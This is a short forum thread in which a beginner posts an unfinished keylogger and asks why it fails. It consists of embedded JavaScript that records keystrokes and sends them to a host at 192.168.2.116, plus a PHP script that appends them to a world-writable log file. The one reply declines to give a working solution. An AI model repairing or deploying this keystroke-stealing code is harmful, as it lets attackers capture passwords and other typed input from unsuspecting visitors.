Keylogger Javascript

SETSUNA [setsunamai12345]
4 years ago | edited 4 years ago

0

hi,

newbie here.

so, i’m trying to code a keylogger.

so i have a txt file: keylog.txt (chmod 777 keylog.txt)

i have a php file:

<?php
$key = $_GET[ ‘key’ ];

$logfile = “keylog.txt”;
file_put_contents($logfile, $key, FILE_APPEND);
?>

and an embedded js:

var presses = [];
window.addEventListener(“keydown”, function(evt){presses.push(evt.key);}

var http = new XMLHttpRequest();

http.open(“GET”,“http://192.168.2.116/key.php”,true);
http.send(“key=”+presses);

but it doesnt work, and im not sure why

does anyone have any idea????

1reply
2voices
182views
fred [feuerstein]
4 years ago

0

You will learn the best while debugging your code. When we present a ready to use solution you won’t learn a lot

You must be logged in to reply to this discussion. Login
1 of 2

This site only uses cookies that are essential for the functionality of this website. Cookies are not used for tracking or marketing purposes.

By using our site, you acknowledge that you have read and understand our Privacy Policy, and Terms of Service.

Dismiss